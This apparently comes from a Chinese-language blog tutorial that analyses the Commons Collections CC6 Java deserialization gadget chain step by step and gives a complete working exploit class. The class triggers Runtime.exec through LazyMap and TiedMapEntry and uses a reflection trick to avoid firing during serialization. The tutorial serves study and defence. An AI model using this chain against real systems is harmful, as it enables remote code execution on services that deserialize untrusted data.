前言
这里分析完cc1的两个以后,白日梦佬又介绍了cc6链,最主要的是这个链子不受jdk的版本影响,甚至不受cs版本的影响,这么说就是cs大部分都是可以使用cc链6,而且这个链子要简洁的很多,我一听这个好啊,哈哈哈。
但是后面我感觉自己被欺骗了65出了一点问题。
环境搭建
这里可以参考上面cc1链
java反序列化 cc链1 分析
链子分析
利用第一阶段
这里就直接跨到这里了,不知道的可以看看上面的cc链1,里面有说
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"notepad"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
这里我们还是使用LazyMap的get方法来往上爬,首先我们要知道既然有了可以恶意代码执行的地方,我们就还需要可以走上去的地方,这里还是需要具有transfrom方法的类,但是这时候目标就变了,我们需要的是能够触发transfrom的类。
这里我们随便找一个transform方法,右键选择查找用法
上面我们使用了TransformedMap,但是他不只可以使用这个,这里还可以使用LazyMap类,这里通过F4直接查看
这里的意思就是,检测map中的键值有没有包含我们传入的这个key,如果没有就会进入判断,生成一个value,写进去一个键值对
这里来到上面我们可以看到,这里构造函数,我们可以任意控制factory的值,但是这里是一个受保护的方法,只能本类调用,这里往上看看。
这里我们发现,我们可以通过使用decorate方法,来控制factory的值
这里我们测试一下上面的思路对不对,因为上面的我们已经搞过一条链子了,这里我们就直接使用ChainedTransformer了,这里我们给get方法随便传入一个值,这个hash中肯定是没有key这个键值的,这里我看到了果然是触发了记事本,自己可以试试。
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"notepad"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hash = new HashMap<>();
Map decorate = LazyMap.decorate(hash, chainedTransformer);
decorate.get("key");
利用第二阶段-TiedMapEntry
接下来我们查看到org.apache.commons.collections.keyvalue.TiedMapEntry中
这里我们看到他的getValue方法
这里我们发现,他是触发了get方法,这里往上看看map的值我们能控制吗。
这里在上面看到了,这个类构造函数,这里我们可以看到map的值,我们是可以任意控制,那么接下来看看那里是触发了getValue方法
这里我们在下面的hashCode方法中看到,他是触发了getValue方法,但是一看到这个hashCode是不是就想到URLDNS链,这两个有着异曲同工之妙,所以说它才可以更好利用,忘记的可以看看URLDNS链
下面我们先手动触发一下看看
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"notepad"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hash = new HashMap<>();
Map decorate = LazyMap.decorate(hash, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,null);
tiedMapEntry.hashCode();
利用第三阶段-HashMap
接下来就是如何触发hashCode方法,说实在一说到这个,相信大家一定都可以想到HashMap吧,我们可以按照触发URLDNS链子一样触发他。
这里我们看到HashMap的源码,在hash方法这里,我们看到他是触发了hashCode方法,这里的是一个三元运算符,只要我们传进来的值不是null或者是空,他就会触发hashCode方法,还是挺好实现的。
从这里HashMap的readObject方法中,我们可以看到他是触发了hash方法,key值我们是可以控制的。
这里其实链子已经好了,很简便对吧,和前面两个相对而言真的已经非常简单了。
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class Cc6 {
public static void main(String[] args) throws IOException, ClassNotFoundException {
//定义一系列Transformer对象,组成一个变换链
Transformer[] transformers = new Transformer[]{
//返回Runtime.class
new ConstantTransformer(Runtime.class),
//通过反射调用getRuntime()方法获取Runtime对象
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
//通过反射调用invoke()方法
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
//通过反射调用exec()方法启动notepad
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"notepad"})
};
//将多个Transformer对象组合成一个链
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hash = new HashMap<>();
Map decorate = LazyMap.decorate(hash, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,"bbb");
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry,"aaa");
serialize(hashMap);
unserialize("1.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
out.writeObject(obj);
}
public static void unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
out.readObject();
}
}
利用第四阶段
问题:上面使用这串exp的应该都发现,他是执行了1次,但不是反序列化的时候执行,而且是在序列化的时候执行,单独执行反序列化就会发现,他也会执行一次记事本,但是为什么反序列化和序列化放到一起就只能执行一次呢?
这里就是说他有这和URLDNS链相似的问题,但是说好像也不是不能用。
跟进HashMap对象的put方法
这里我们发现,他也是调用了hash方法,这里我们可以修改上面东西,让他触发链子不完整,就不会执行恶意代码了,在通过反射在进入序列化之前,将链子补完整
这里我们将上面的链子,我们将上面的链子断掉,在最后的时候在修改回来,按照正常来说,这个是没有问题,但是之后发现是没有运行了,这里分析一下
在他进入的时候,因为他是没有key的,所以肯定是可以进入判断的,然后触发transform方法,但是她下面还有一个put方法,就是将这个没有的写进去,所以我们再进行反序列化的时候,他会检测我们传进来的key有没有,这里肯定是有的因为他put已经写进来了,所以我们要将他删除。
//完整exp
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class Cc6 {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
//定义一系列Transformer对象,组成一个变换链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"notepad"})
};
//将多个Transformer对象组合成一个链
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hash = new HashMap<>();
Map<Object,Object> ladecorate = LazyMap.decorate(hash, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(ladecorate,"aaa");
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry,"bbb");
hash.remove("aaa");
Class c = LazyMap.class;
Field declaredField = c.getDeclaredField("factory");
declaredField.setAccessible(true);
declaredField.set(ladecorate,chainedTransformer);
serialize(hashMap);
unserialize("1.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
out.writeObject(obj);
}
public static void unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
out.readObject();
}
}
结语
感觉第三阶段的,也可以用吧,不是不能接收对吧,然后我再调试的时候确实遇到一些问题,其中有的玄学问题到现在都没有解决,但是有一个是解决了
关于IDEA在debug时私自调用toString()方法的问题_idea怎么调用tostring方法_lkforce的博客-CSDN博客